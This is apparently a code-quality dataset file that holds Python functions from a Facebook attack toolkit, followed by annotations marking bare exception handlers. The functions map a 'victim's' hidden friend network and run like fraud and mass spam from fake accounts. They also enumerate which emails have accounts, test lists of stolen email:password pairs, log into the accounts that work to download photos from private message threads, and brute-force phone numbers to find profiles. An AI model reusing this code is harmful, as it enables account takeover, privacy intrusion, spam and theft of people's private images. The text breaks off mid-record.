extendedFriends", "metadata": "root.seeMore", "header": "['module', '___EOS___']", "index": 2051 }, { "content": "def getUserID(user):\n#Grabs the user Id using the OpenGraph\n try:\n response = br.open('https://www.facebook.com/'+str(user))\n data = response.read()\n #json_dump = json.loads(resultado)\n #try:\n # return json_dump['id']\n #except:\n # return -1\n \n except mechanize.HTTPError as e:\n print e.code\n return -1\n except mechanize.URLError as e:\n print e.reason.args\n return -1\n try:\n match = re.search(\"fb://profile/\",data)\n if match is not None:\n start = match.end()\n matchBis = re.search('\"',data[start:])\n if matchBis is not None:\n return data[start:start+matchBis.start()]\n except:\n return user", "metadata": "root.getUserID", "header": "['module', '___EOS___']", "index": 2110 }, { "content": "def dotFile(victim, transitive):\n\n root = 'dumps'\n directory = str(victim)\n \n mkdir(directory,root)\n \n myGraph = open( os.path.join(root,directory,victim+\"_dot.dot\") ,\"wb\")\n myGraph.write('Graph {\\n')\n \n #Percentage container\n percentage = 0.0\n #Disclosude friends container\n friendships = []\n #Already visited nodes container\n visited = [] \n try:\n #If the file already exists \n friendshipFile = open( os.path.join(root,directory,victim+\".txt\") ,\"rb\")\n #Reads every line of the file\n while True:\n linea = friendshipFile.readline()\n if not linea:\n break\n #Store in the visited array for non repetition\n visited.append(linea.strip(\"\\n\\r\"))\n friendshipFile.close()\n\n except:\n #If the file does not exists, creates the file\n friendshipFile = open( os.path.join(root,directory,victim+\".txt\") ,\"wb\")\n friendshipFile.close()\n \n \n try:\n #Generates the first level of the search\n result = coreFriendshipPrivacy(victim,transitive)\n except:\n print 'Check the internet connection please..'\n return\n \n #Stores non repetitive values in the disclosed friends container\n transitivo = getName(transitive)\n for individuos in result:\n if individuos not in visited:\n chabon = getName(individuos)\n myGraph.write(' \"'+transitivo + '\" -> \"' + chabon + '\";\\n') \n friendships.append(individuos)\n visited.append(getUserID(transitive))\n #Counter for percentage calculus purpose \n i = 0.0\n #flush\n print '\\r \\r',\n #For every value in the first disclosed list, repeats until every value has been tried \n for friends in friendships:\n #Percentage calculus \n percentage = (i * 100.0)/len(friendships)\n flush()\n print '\\rIterating on %d of %d - [%.2f%%] completed\\r' %(i ,len(friendships), percentage), \n i+=1\n #Only if the node wasn't visited \n if friends not in visited:\n #if coreFriendshipPrivacy() fails, an exception is caught. Therefore, state will still be True. \n #Only if the try passes, the infinite while will end. (For internet error connection problem)\n state = True\n while state == True:\n try:\n result = coreFriendshipPrivacy(victim,friends)\n state = False\n except signalCaught as e:\n state = False\n print 'Signal Caught handler'\n print '%s ' %e.args[0]\n return\n except:\n logs('Check the internet connection please.. Press enter when it\\'s done')\n print '\\r \\r',\n a = raw_input('\\rCheck the internet connection please.. Press enter when it\\'s done\\r')\n if a == 1:\n state = False\n else:\n if a == 2:\n email,password = setMail()\n login(email,password,'real')\n \n #Stores non repetitive values in the disclosed friends container\n friendName = getName(friends) \n for element in result:\n if element not in friendships:\n transitive = getName(element)\n myGraph.write(' \"'+friendName + '\" -> \"' + transitive + '\";\\n')\n friendships.append(element)\n \n #Stores every single value of friendships list already analysed for non repetitiveness\n visited.append(friends)\n \n #Check if the file exists, if true append, else create and writes\n try:\n friendshipFile = open( os.path.join(root,directory,victim+\".txt\") ,\"ab\")\n except:\n friendshipFile = open( os.path.join(root,directory,victim+\".txt\") ,\"wb\")\n \n #Stores every userID for further analysis\n for friends in friendships:\n transitivo = getName(friends)\n myGraph.write(' \"'+victim + '\" -> \"' + transitivo + '\";\\n')\n friendshipFile.write(str(friends)+'\\n')\n \n myGraph.write('}')\n friendshipFile.close()\n myGraph.close()", "metadata": "root.dotFile", "header": "['module', '___EOS___']", "index": 2145 }, { "content": "def simpleDotGraph(friends, victim):\n root = 'dumps'\n directory = str(victim)\n \n mkdir(directory,root)\n \n myGraph = open( os.path.join(root,directory,victim+\"_dot.dot\"),\"wb\")\n myGraph.write('Graph {\\n')\n \n \n friendshipFile = open( os.path.join(root,directory,victim+\".txt\"),\"wb\")\n for friend in friends:\n friendshipFile.write(str(friend)+'\\n')\n friendshipFile.close()\n \n \n for friend in friends:\n try:\n mutual = coreFriendshipPrivacy(victim, friend)\n except:\n continue\n \n \n transitive = getName(friend)\n \n myGraph.write(' \"'+victim + '\" -> \"' + transitive + '\";\\n')\n \n for element in mutual:\n\n mutualFriend = getName(element)\n \n myGraph.write(' \"'+transitive + '\" -> \"' + mutualFriend + '\";\\n')\n\n myGraph.write('}') \n myGraph.close()", "metadata": "root.simpleDotGraph", "header": "['module', '___EOS___']", "index": 2257 }, { "content": "def getTest(appID):\n try:\n start = 0\n flag = 0\n while flag != -1:\n \n fb_dtsg = set_dtsg()\n if (fb_dtsg == 0):\n print 'ERROR MOTHER FUCKER -_-'\n \n arguments = { \n 'start' : str(start),\n '__user' : getC_user(),\n '__a' : '1',\n '__dyn' : '7w86i1PyUnxqnFwn8',\n '__req' : '4',\n 'fb_dtsg' : fb_dtsg,\n 'ttstamp' : '26581707111311350113871144898',\n '__rev' : '1262242'\n }\n datos = urlencode(arguments)\n try:\n response = br.open('https://developers.facebook.com/apps/'+appID+'/roles/test-users/paging/',datos)\n aParsear = response.read().strip(\"for (;;);\")\n json_dump = json.loads(aParsear)\n flag = MyParser.parceros(json_dump)\n start+=20\n except:\n break\n except:\n print 'general error'", "metadata": "root.getTest", "header": "['module', '___EOS___']", "index": 2441 }, { "content": "def changePassword(appID): \n people = database.getUsers()\n peopleLogged = database.getUsersNotLogged()\n for persona in people:\n if persona in peopleLogged:\n try:\n fb_dtsg = set_dtsg()\n if (fb_dtsg == 0):\n print 'ERROR MOTHER FUCKER -_-'\n \n arguments = { \n 'fb_dtsg' : fb_dtsg, \n 'name' : str(persona[1]),\n 'password' : '1234567890',\n 'confirm_password' : '1234567890',\n '__user' : getC_user(),\n '__a' : '1',\n '__dyn' : '7w86i1PyUnxqnFwn8',\n '__req' : 'a',\n 'ttstamp' : '26581698582558910610211811276',\n '__rev' : '1262776'\n }\n datos = urlencode(arguments)\n try:\n response = br.open('https://developers.facebook.com/apps/async/test-users/edit/?app_id='+appID+'&test_user_id='+str(persona[0]),datos)\n except:\n print 'error'\n except:\n print 'Error General'", "metadata": "root.changePassword", "header": "['module', '___EOS___']", "index": 2473 }, { "content": "def likeDev(postId):\n \n signal.signal(signal.SIGINT, signal_handler)\n try:\n #Cookie of the real account\n masterCookie = cj._cookies\n massLoginTest()\n \n if len(cookieArray) == 0:\n print 'First you must create accounts: option 1) '\n \n quantity = raw_input('Insert the amount of likes: ')\n \n while int(quantity) <= 0 or int(quantity) >= len(cookieArray):\n print 'Wrong quantity. First you must create enough accounts for that amount of likes .. (option 1) ..'\n quantity = raw_input('Insert the amount of likes: ')\n \n\n #Percentage container\n percentage = 0.0\n j = 0.0\n total = int(quantity) * len(postId)\n #flush\n print '\\r \\r',\n \n for i in range(int(quantity)):\n for post in range(len(postId)):\n cj._cookies = cookieArray[i]\n c_user = getC_user()\n try:\n fb_dtsg = set_dtsg()\n if (fb_dtsg == 0):\n print 'ERROR MOTHER FUCKER -_-'\n \n arguments = {\n 'like_action' : 'true',\n 'ft_ent_identifier' : str(postId[post]),\n 'source' : '0',\n 'client_id' : str(c_user)+'%3A4047576437',\n 'rootid' : 'u_0_2o',\n 'giftoccasion' : '',\n 'ft[tn]' : '%3E%3D',\n 'ft[type]' : '20',\n 'nctr[_mod]' : 'pagelet_timeline_recent',\n '__user' : c_user,\n '__a' : '1',\n '__dyn' : '7n8ahyj35ym3KiA',\n '__req' : 'c',\n 'fb_dtsg' : fb_dtsg,\n 'phstamp' : '165816595797611370260',\n }\n \n \n datos = urlencode(arguments)\n response = br.open('https://www.facebook.com/ajax/ufi/like.php',datos)\n \n if globalLogging:\n logs(response.read())\n \n percentage = (j * 100.0)/total\n flush()\n print '\\r[%.2f%%] of likes completed\\r' %(percentage), \n j+=1\n \n except mechanize.HTTPError as e:\n print e.code\n \n except mechanize.URLError as e:\n print e.reason.args \n except:\n print 'Unknown error' \n \n cj._cookies = masterCookie \n raw_input('Finished like() module, press enter to continue')\n except signalCaught as e:\n deleteUser()\n message = '%s catch from create module' %e.args[0]\n logs(str(message))\n print '%s \\n' %message\n raw_input('Press enter to continue')\n return", "metadata": "root.likeDev", "header": "['module', '___EOS___']", "index": 2505 }, { "content": "def massMessage(page,message):\n import random\n \n massLoginTest()\n \n if len(cookieArray) == 0:\n print 'First you must create accounts: option 1) '\n return\n \n pageID = getUserID(page)\n \n for i in range(len(cookieArray)):\n try:\n cj._cookies = cookieArray[i]\n c_user = getC_user()\n print str(c_user)+'\\n'\n \n numero = ''\n numero2 = ''\n for i in range(10):\n numero += str(random.randrange(0,10))\n for i in range(10):\n numero2 += str(random.randrange(0,10))\n \n fb_dtsg = set_dtsg()\n if (fb_dtsg == 0):\n print 'ERROR MOTHER FUCKER -_-'\n arguments = {\n 'message_batch[0][action_type]' : 'ma-type:user-generated-message',\n 'message_batch[0][author]' : 'fbid:'+c_user,\n 'message_batch[0][timestamp]' : '1401416840784',\n 'message_batch[0][timestamp_absolute]' : 'Today',\n 'message_batch[0][timestamp_relative]' : '11:27pm',\n 'message_batch[0][timestamp_time_passed]' : '0',\n 'message_batch[0][is_unread]' : 'false',\n 'message_batch[0][is_cleared]' : 'false',\n 'message_batch[0][is_forward]' : 'false',\n 'message_batch[0][is_filtered_content]' : 'false',\n 'message_batch[0][is_spoof_warning]' : 'false',\n 'message_batch[0][source]' : 'source:titan:web',\n 'message_batch[0][body]' : message,\n 'message_batch[0][has_attachment]' : 'false',\n 'message_batch[0][html_body]' : 'false',\n 'message_batch[0][specific_to_list][0]' : 'fbid:'+pageID,\n 'message_batch[0][specific_to_list][1]' : 'fbid:'+c_user,\n 'message_batch[0][force_sms]' : 'true',\n 'message_batch[0][ui_push_phase]' : 'V3',\n 'message_batch[0][status]' : '0',\n 'message_batch[0][message_id]' : '<1401416840784:'+numero+'-'+numero2+'@mail.projektitan.com>',\n '''<1401416840784:554304545-874733751@mail.projektitan.com>','''\n 'message_batch[0][client_thread_id]' : 'user:'+pageID,\n 'client' : 'mercury',\n '__user' : c_user,\n '__a' : '1',\n '__dyn' : '7n8ajEAMCBynUKt2u6aOGeExEW9ACxO4pbGA8AGGBy6C-Cu6popDFp4qu',\n '__req' : 'q',\n 'fb_dtsg' : fb_dtsg,\n 'ttstamp' : '26581697273111715585898748',\n '__rev' : '1268876'\n }\n \n datos = urlencode(arguments)\n response = br.open('https://www.facebook.com/ajax/mercury/send_messages.php',datos)\n \n if globalLogging:\n logs(response.read())\n \n except mechanize.HTTPError as e:\n print e.code\n except mechanize.URLError as e:\n print e.reason.args \n \n except:\n logs('Error en el modulo de massMessage()')\n print 'Error en el modulo de massMessage()\\n'", "metadata": "root.massMessage", "header": "['module', '___EOS___']", "index": 2587 }, { "content": "def massLoginTest():\n import copy\n i = int(0)\n people = database.getUsersNotLogged()\n #Flush\n print '\\r \\r',\n \n masterCj = copy.deepcopy(cj._cookies)\n loadPersistentCookie()\n\n for person in people:\n #login\n try:\n cj._cookies = copy.deepcopy(masterCj)\n if person[4] == 0:\n logTestUser(str(person[0]))\n cookieArray.append(cj._cookies)\n print cj._cookies #DEBUG\n cj.clear()\n \n #percentage\n i+=1\n percentage = (i * 100.0) / len(people)\n flush()\n print '\\rCompleted [%.2f%%]\\r'%percentage,\n except:\n print 'Error with user %s' %person[0]\n continue\n \n cj.clear()\n savePersistentCookie() ", "metadata": "root.massLoginTest", "header": "['module', '___EOS___']", "index": 2710 }, { "content": "def plotDOT(victim):\n root = 'dumps'\n directory = victim\n mkdir(directory,root)\n \n graph = open(root+\"\\\\\"+directory+\"\\\\\"+victim+\"_graph.dot\",\"wb\")\n \n graph.write(\"Graph {\\n\")\n \n victim = victim.replace(\".\",\"_\")\n nodes = database.getNodes(victim)\n for node in nodes:\n \n graph.write(\" \"+victim.replace(\"_\",\".\")+\" -> \"+node[0]+\";\\n\")\n \n edges = database.getEdges(victim,node[0],node[1])\n try:\n edgeList = edges[0][2].split(';')\n writed = []\n for individual in edgeList:\n if individual != \"\" and individual not in writed:\n graph.write(\" \"+node[0]+\" -> \"+str(individual)+\";\\n\")\n writed.append(individual)\n except:\n print 'No edges for %s' %node[0]\n \n graph.write(\"}\")\n graph.close()", "metadata": "root.plotDOT", "header": "['module', '___EOS___']", "index": 2742 }, { "content": "def dotFileDatabase(victim, transitive):\n\n #Percentage container\n percentage = 0.0\n #Disclosude friends container\n friendships = []\n #Already visited nodes container\n visited = [] \n \n try:\n #Generates the first level of the search\n result = coreFriendshipPrivacy(victim,transitive)\n except:\n print 'Check the internet connection please..'\n return\n \n #Stores non repetitive values in the disclosed friends container\n transitivo = getName(transitive)\n transitivoID = getUserID(transitive)\n \n if transitivoID == -1:\n transitivoID = transitivo\n \n database.addNode(victim,transitivo, transitivoID)\n \n for individuos in result:\n friendName = getName(individuos)\n friendId = getUserID(individuos)\n \n if friendId == -1:\n friendId = friendName\n \n database.addNode(victim,friendName, friendId)\n database.addEdge(victim,transitivo, transitivoID, friendName, friendId)\n friendships.append(individuos)\n\n \n #Counter for percentage calculus purpose \n i = 0.0\n #flush\n print '\\r \\r',\n #For every value in the first disclosed list, repeats until every value has been tryed \n for friends in friendships:\n #Percentage calculus \n percentage = (i * 100.0)/len(friendships)\n flush()\n print '\\rIterating on %d of %d - [%.2f%%] completed\\r' %(i ,len(friendships), percentage), \n i+=1\n #Only if the node wasn't visited \n if friends not in visited:\n #if coreFriendshipPrivacy() fails, an exception is caught. Therefore, state wis still being True. \n #Only if the try passes, the infinite while will end. (For internet error connection problem)\n state = True\n while state == True:\n try:\n result = coreFriendshipPrivacy(victim,friends)\n state = False\n except signalCaught as e:\n state = False\n print 'Signal Caught handler'\n print '%s ' %e.args[0]\n return\n except:\n logs('Check the internet connection please.. Press enter when it\\'s done')\n print '\\r \\r',\n a = raw_input('\\rCheck the internet connection please.. Press enter when it\\'s done\\r')\n if a == 1:\n state = False\n else:\n if a == 2:\n email,password = setMail()\n login(email,password,'real')\n \n #Stores non repetitive values in the disclosed friends container\n friendName = getName(friends)\n friendId = getUserID(friends)\n \n if friendId == -1:\n friendId = friendName \n \n database.addNode(victim,friendName, friendId)\n \n for element in result:\n if element not in friendships:\n \n friendTran = getName(element)\n friendTranId = getUserID(element)\n \n if friendId == -1:\n friendId = friendName \n \n database.addNode(victim,friendTran, friendTranId)\n database.addEdge(victim,friendName, friendId, friendTran, friendTranId)\n friendships.append(element)\n #Stores every single value of friendships list alredy analyzed for non repetitivness\n visited.append(friends)", "metadata": "root.dotFileDatabase", "header": "['module', '___EOS___']", "index": 2771 }, { "content": "def simpleDotGraphDatabase(friends, victim):\n\n \n for friend in friends:\n \n try:\n mutual = coreFriendshipPrivacy(victim, friend)\n except:\n continue\n \n \n transitive = getName(friend)\n transitiveID = getUserID(friend)\n \n if transitiveID == -1:\n transitiveID = transitive\n \n database.addNode(victim,transitive, transitiveID)\n \n for element in mutual:\n\n mutualFriend = getName(element)\n mutualFriendID = getUserID(element)\n \n if mutualFriendID == -1:\n mutualFriendID = mutualFriend\n \n database.addNode(victim,mutualFriend, mutualFriendID)\n database.addEdge(victim,transitive, transitiveID, mutualFriend, mutualFriendID)", "metadata": "root.simpleDotGraphDatabase", "header": "['module', '___EOS___']", "index": 2868 }, { "content": "def takePhotos(threads):\n r = open(os.path.join(\"massive\",\"fotos.txt\"),\"wb\")\n fb_dtsg = set_dtsg()\n f = open(os.path.join(\"massive\",threads),\"r\")\n threadList = []\n while True:\n linea = f.readline()\n if not linea:\n break\n threadList.append(str(linea.strip(\"\\n\")))\n \n i = 0\n \n for message in threadList:\n arguments = {\n 'thread_id' : message,\n 'offset' : '0',\n 'limit' : '30',\n '__user' : getC_user(),\n '__a' : '1',\n '__dyn' : 'aJj2BW9t2lm9b88DgDDx2IGAKh9VoW9J6yUgByVbFkGQhbHz6C-CEy5pokAWAVbGFQiuaBKAqhB-imSCiZ3oyq4U',\n '__req' : '40',\n 'fb_dtsg' : fb_dtsg,\n 'ttstamp' : '265816973899779122887410295',\n '__rev' : '1458973'\n }\n \n datos = urlencode(arguments)\n try:\n response = br.open('https://www.facebook.com/ajax/messaging/attachments/sharedphotos.php',datos)\n text = response.read()\n r.write(text + '\\n')\n except mechanize.HTTPError as e:\n logs(e.code)\n print e.code\n except mechanize.URLError as e:\n logs(e.reason.args)\n print e.reason.args \n except:\n logs('Error in robo de fotos')\n print '\\rError in robo de fotos\\r'\n raise \n \n try:\n to_parse = str(text).strip('for (;;);')\n resultado = json.loads(to_parse)\n \n URLS = []\n for element in resultado['payload']['imagesData'].keys():\n URLS.append(resultado['payload']['imagesData'][element]['URI'])\n \n for URL in URLS:\n fotos = open(os.path.join('massive','photos',str(int(time()))+'.jpg'),\"wb\")\n handler = br.open(URL)\n fotos.write(handler.read())\n fotos.close()\n i += 1\n \n URLS[:]\n except:\n print 'no attachment in thread'\n \n r.close()", "metadata": "root.takePhotos", "header": "['module', '___EOS___']", "index": 3007 }, { "content": "def accountexists(mailList):\n \n password = '#FBHTEnumerateUsers'\n mails = []\n try:\n mailFile = open(os.path.join(\"PRIVATE\",mailList),\"r\")\n except:\n print 'File %s doesn\\'t exist' %mailList\n return \n try:\n verified = open(os.path.join(\"PRIVATE\",\"existence\",\"verified.txt\"),\"a\")\n verified.close()\n except:\n verified = open(os.path.join(\"PRIVATE\",\"existence\",\"verified.txt\"),\"w\")\n verified.close()\n \n while True:\n line = mailFile.readline()\n if not line: break\n mails.append(line.strip('\\n'))\n \n mailFile.close()\n driver = webdriver.Firefox()\n \n for email in mails:\n # Access the login page to get the forms\n driver.delete_all_cookies()\n driver.get(\"https://www.facebook.com/\")\n assert \"Facebook\" in driver.title\n elem = driver.find_element_by_name(\"email\")\n elem.send_keys(email)\n elem = driver.find_element_by_name(\"pass\")\n elem.send_keys(password) \n elem.send_keys(Keys.RETURN)\n \n try:\n line = driver.page_source\n match = re.search('Por favor, vuelve a introducir tu contrase',line)\n if match is not None:\n print email + ' Cuenta existente :D !!'\n verified = open(os.path.join(\"PRIVATE\",\"existence\",\"verified.txt\"),\"a\")\n verified.write(email + '\\n')\n verified.close()\n else:\n print email + ' Cuenta inexistente :('\n except:\n logs('Fatal error while submitting the login form')\n print '\\rFatal error while submitting the login form\\r'\n \n \n driver.close() \n verified.close()", "metadata": "root.accountexists", "header": "['module', '___EOS___']", "index": 3071 }, { "content": "def checkLogin(mailList):\n global blocked\n \n try:\n verified = open(os.path.join(\"PRIVATE\",\"loggedin\",\"Loggedin.txt\"),\"a\")\n except:\n verified = open(os.path.join(\"PRIVATE\",\"loggedin\",\"Loggedin.txt\"),\"w\")\n try: \n mails = open(os.path.join(\"PRIVATE\",mailList),\"r\")\n except:\n print '%s doesn\\'t exist in PRIVATE folder' %mailList\n verified.close()\n return\n \n credenciales = {}\n while True:\n email = mails.readline()\n if not email: break\n index = email.find(\":\")\n if index != -1:\n credenciales[email[0:index]] = email[index+1:].strip('\\n')\n credentials = credenciales.keys()\n shuffle(credentials)\n for emails in credentials:\n try:\n if (login(emails,credenciales[emails],'real') != -1) or (blocked == 1):\n verified = open(os.path.join(\"PRIVATE\",\"loggedin\",\"Loggedin.txt\"),\"a\")\n verified.write(emails+':'+credenciales[emails]+'\\n')\n verified.close()\n print emails + ' valid email and passowrd!!! MOTHER KAKERRRRR :D '\n blocked = 0\n else:\n print emails + ' not valid email or password'\n except signalCaught as e:\n print 'Signal caught'\n return\n except:\n continue\n try:\n verified.close()\n except:\n return", "metadata": "root.checkLogin", "header": "['module', '___EOS___']", "index": 3124 }, { "content": "def steal():\n global blocked\n try:\n verified = open(os.path.join(\"PRIVATE\",\"loggedin\",\"Loggedin.txt\"),\"r\")\n except:\n print 'File Loggedin.txt not found in loggedin folder, you should try it again!'\n return\n \n credenciales = {}\n while True:\n email = verified.readline()\n if not email: break\n index = email.find(\":\")\n if index != -1:\n credenciales[email[0:index]] = email[index+1:].strip('\\n')\n \n for emails in credenciales.keys():\n if (login(emails,credenciales[emails],'real') != -1) or (blocked == 1):\n print emails + ' valid email and passowrd!!! MOTHER KAKERRRRR :D '\n if blocked == 1:\n blocked = 0\n print 'Account valid, but blocked due to location issues'\n else:\n check = checkPrivacy('me')\n username = checkMe(\"me\")\n friendList, friendsName = friendshipPlot(check,username)\n fileThreads = open(os.path.join(\"massive\",\"threads.txt\"),\"wb\")\n for friends in friendList:\n fileThreads.write(friends+'\\n')\n fileThreads.close()\n takePhotos(\"threads.txt\")\n else:\n sleep(10)\n print emails + ' not valid email or password'", "metadata": "root.steal", "header": "['module', '___EOS___']", "index": 3167 }, { "content": "def getUserIDS(username):\n usernameAndID = {}\n usernamesFile = open(os.path.join('dumps',username,username+\"UserNames.txt\"),\"r\")\n userIDSFile = open(os.path.join('dumps',username,username+\"UserIDS.txt\"),\"w\").close()\n userIDS = []\n usernames = []\n percentage = 0.0\n i = 0\n while True:\n linea = usernamesFile.readline()\n if not linea:\n break\n usernames.append(linea.strip('\\n'))\n total = len(usernames)\n for user in usernames:\n flush()\n percentage = (100.0 * i)/total\n print '\\rCompleted [%.2f%%]\\r'%percentage,\n userIDSFile = open(os.path.join('dumps',username,username+\"UserIDS.txt\"),\"a\")\n userID = getUserID(user)\n userIDS.append(userID)\n try:\n userIDSFile.write(userID+'\\n')\n usernameAndID[userID+'\\n'] = user\n except:\n print 'unknown error'\n userIDSFile.close()\n i += 1\n pickle.dump( usernameAndID , open(os.path.join('dumps',username,username+\"UserNamesIDindexed.txt\"),\"wb\"))", "metadata": "root.getUserIDS", "header": "['module', '___EOS___']", "index": 3202 }, { "content": "def sendPrivateMessage(message,buddy):\n \n c_user = getC_user()\n \n try:\n fb_dtsg = set_dtsg()\n if (fb_dtsg == 0):\n print 'ERROR MOTHER FUCKER -_-'\n \n arguments = {\n 'message_batch[0][action_type]' : 'ma-type:user-generated-message',\n 'message_batch[0][thread_id]' : '',\n 'message_batch[0][author]' : 'fbid:'+c_user,\n 'message_batch[0][author_email]' : '',\n 'message_batch[0][coordinates]' : '',\n 'message_batch[0][timestamp]' : str(int(time())),\n 'message_batch[0][timestamp_absolute]' : 'Today',\n 'message_batch[0][timestamp_relative]' : getTime(),\n 'message_batch[0][timestamp_time_passed]' : '0',\n 'message_batch[0][is_unread]' : 'false',\n 'message_batch[0][is_forward]' : 'false',\n 'message_batch[0][is_filtered_content]' : 'false',\n 'message_batch[0][is_filtered_content_bh]' : 'false',\n 'message_batch[0][is_filtered_content_account]' : 'false',\n 'message_batch[0][is_filtered_content_quasar]' : 'false',\n 'message_batch[0][is_filtered_content_invalid_app]' : 'false',\n 'message_batch[0][is_spoof_warning]' : 'false',\n 'message_batch[0][source]' : 'source:titan:web',\n 'message_batch[0][body]' : message,\n 'message_batch[0][has_attachment]' : 'false',\n 'message_batch[0][html_body]' : 'false',\n 'message_batch[0][specific_to_list][0]' : 'fbid:' + buddy,\n 'message_batch[0][specific_to_list][1]' : 'fbid:' + c_user,\n 'message_batch[0][force_sms]' : 'true',\n 'message_batch[0][ui_push_phase]' : 'V3',\n 'message_batch[0][status]' : '0',\n 'message_batch[0][message_id]' : '<1394766424499:3126670212-4125121119@mail.projektitan.com>',\n 'message_batch[0][client_thread_id]' : 'user:'+str(c_user),\n 'message_batch[0][manual_retry_cnt]' : '0',\n 'client' : 'web_messenger',\n '__user' : c_user,\n '__a' : '1',\n '__dyn' : 'aKTyBW8BgBlyibgggDDzbHaF8x9DzECQHyUmyVbGAGQi8VpCC-KGBxmm6oxpbGES5V8Gh6VEChyd1eFEsz-dCxK9xibyfCChQEjkwzyAAEnhRGeKmhmKVRz9Hxmi8V9-i78',\n '__req' : '1w',\n 'fb_dtsg' : fb_dtsg,\n 'ttstamp' : '2658171975212154891167782118',\n '__rev' : '1925563'\n }\n datos = urlencode(arguments)\n response = br.open('https://www.facebook.com/ajax/mercury/send_messages.php',datos)\n \n if globalLogging:\n logs(response.read())\n \n except mechanize.HTTPError as e:\n print e.code\n except mechanize.URLError as e:\n print e.reason.args \n except:\n print 'Ctrl+c SIGNAL Caught\\n'\n return", "metadata": "root.sendPrivateMessage", "header": "['module', '___EOS___']", "index": 3231 }, { "content": "def bruteforceCel(first,start,end):\n c_user = getC_user()\n try:\n f = open( os.path.join(\"cellphones\",\"cellphones.txt\"),\"a\" )\n f.close()\n except:\n f = open( os.path.join(\"cellphones\",\"cellphones.txt\"),\"wb\" )\n f.close()\n percentage = 0.0\n verified = 0\n for cellphone in range(int(start),int(end)):\n percentage = ((cellphone-int(start)) * 100.0) / (int(end) - int(start))\n flush()\n print '\\rCompleted [%.6f%%] - %d cellphone - %d verified\\r' %(percentage, cellphone, verified),\n try:\n response = br.open('https://www.facebook.com/typeahead/search/facebar/query/?value=[\"'+first+str(cellphone)+'\"]&context=facebar&grammar_version=7466c20ac89f47d6185f3a651461c1b1bac9a82d&content_search_mode&viewer='+c_user+'&rsp=search&qid=8&max_results=10&sid=0.24097281275317073&__user='+c_user+'&__a=1&__dyn=7nmajEyl2qm9udDgDxyIGzGpUW9ACxO4p9GgyimEVFLFwxBxCbzESu49UJ6K59poW8xHzoyfw&__req=1o&__rev=1536505')\n text = response.read()\n json_dump = json.loads(text.strip('for (;;);'))\n #print str(json_dump['payload']['entities'][0]['path'])\n #print str(json_dump['payload']['entities'][0]['uid'])\n #print first + str(cellphone)\n f = open( os.path.join(\"cellphones\",\"cellphones.txt\"),\"a\" )\n f.write(first + str(cellphone)+' '+str(json_dump['payload']['entities'][0]['path']) + ' ' + str(json_dump['payload']['entities'][0]['uid'])+'\\n')\n f.close()\n verified += 1\n except mechanize.HTTPError as e:\n logs(e.code)\n print e.code\n except mechanize.URLError as e:\n logs(e.reason.args)\n print e.reason.args \n except:\n f.close()\n continue", "metadata": "root.bruteforceCel", "header": "['module', '___EOS___']", "index": 3352 } ]
[ { "span": "except:", "start_line": 123, "start_column": 4, "end_line": 123, "end_column": 11 }, { "span": "except:", "start_line": 138, "start_column": 4, "end_line": 138, "end_column": 11 }, { "span": "except:", "start_line": 189, "start_column": 8, "end_line": 189, "end_column": 15 }, { "span": "except:", "start_line": 289, "start_column": 4, "end_line": 289, "end_column": 11 }, { "span": "except:", "start_line": 364, "start_column": 4, "end_line": 364, "end_column": 11 }, { "span": "except:", "start_line": 380, "start_column": 8, "end_line": 380, "end_column": 15 }, { "span": "except:", "start_line": 393, "start_column": 8, "end_line": 393, "end_column": 15 }, { "span": "except:", "start_line": 457, "start_column": 16, "end_line": 457, "end_column": 23 }, { "span": "except:", "start_line": 534, "start_column": 4, "end_line": 534, "end_column": 11 }, { "span": "except:", "start_line": 613, "start_column": 24, "end_line": 613, "end_column": 31 }, { "span": "except:", "start_line": 662, "start_column": 4, "end_line": 662, "end_column": 11 }, { "span": "except:", "start_line": 768, "start_column": 4, "end_line": 768, "end_column": 11 }, { "span": "except:", "start_line": 868, "start_column": 4, "end_line": 868, "end_column": 11 }, { "span": "except:", "start_line": 968, "start_column": 4, "end_line": 968, "end_column": 11 }, { "span": "except:", "start_line": 1131, "start_column": 4, "end_line": 1131, "end_column": 11 }, { "span": "except:", "start_line": 1232, "start_column": 4, "end_line": 1232, "end_column": 11 }, { "span": "except:", "start_line": 1247, "start_column": 4, "end_line": 1247, "end_column": 11 }, { "span": "except:", "start_line": 1270, "start_column": 12, "end_line": 1270, "end_column": 19 }, { "span": "except:", "start_line": 1273, "start_column": 16, "end_line": 1273, "end_column": 23 }, { "span": "except:", "start_line": 1306, "start_column": 4, "end_line": 1306, "end_column": 11 }, { "span": "except:", "start_line": 1338, "start_column": 4, "end_line": 1338, "end_column": 11 }, { "span": "except:", "start_line": 1346, "start_column": 4, "end_line": 1346, "end_column": 11 }, { "span": "except:", "start_line": 1375, "start_column": 4, "end_line": 1375, "end_column": 11 }, { "span": "except:", "start_line": 1419, "start_column": 12, "end_line": 1419, "end_column": 19 }, { "span": "except:", "start_line": 1427, "start_column": 12, "end_line": 1427, "end_column": 19 }, { "span": "except:", "start_line": 1439, "start_column": 12, "end_line": 1439, "end_column": 19 }, { "span": "except:", "start_line": 1449, "start_column": 12, "end_line": 1449, "end_column": 19 }, { "span": "except:", "start_line": 1468, "start_column": 12, "end_line": 1468, "end_column": 19 }, { "span": "except:", "start_line": 1474, "start_column": 12, "end_line": 1474, "end_column": 19 }, { "span": "except:", "start_line": 1482, "start_column": 8, "end_line": 1482, "end_column": 15 }, { "span": "except:", "start_line": 1497, "start_column": 12, "end_line": 1497, "end_column": 19 }, { "span": "except:", "start_line": 1519, "start_column": 12, "end_line": 1519, "end_column": 19 }, { "span": "except:", "start_line": 1575, "start_column": 4, "end_line": 1575, "end_column": 11 }, { "span": "except:", "start_line": 1584, "start_column": 4, "end_line": 1584, "end_column": 11 }, { "span": "except:", "start_line": 1634, "start_column": 16, "end_line": 1634, "end_column": 23 }, { "span": "except:", "start_line": 1666, "start_column": 4, "end_line": 1666, "end_column": 11 }, { "span": "except:", "start_line": 1715, "start_column": 4, "end_line": 1715, "end_column": 11 }, { "span": "except:", "start_line": 1724, "start_column": 4, "end_line": 1724, "end_column": 11 }, { "span": "except:", "start_line": 1759, "start_column": 16, "end_line": 1759, "end_column": 23 }, { "span": "except:", "start_line": 1774, "start_column": 4, "end_line": 1774, "end_column": 11 }, { "span": "except:", "start_line": 1828, "start_column": 8, "end_line": 1828, "end_column": 15 }, { "span": "except:", "start_line": 1851, "start_column": 4, "end_line": 1851, "end_column": 11 }, { "span": "except:", "start_line": 1876, "start_column": 4, "end_line": 1876, "end_column": 11 }, { "span": "except:", "start_line": 1880, "start_column": 4, "end_line": 1880, "end_column": 11 }, { "span": "except:", "start_line": 1885, "start_column": 4, "end_line": 1885, "end_column": 11 }, { "span": "except:", "start_line": 1902, 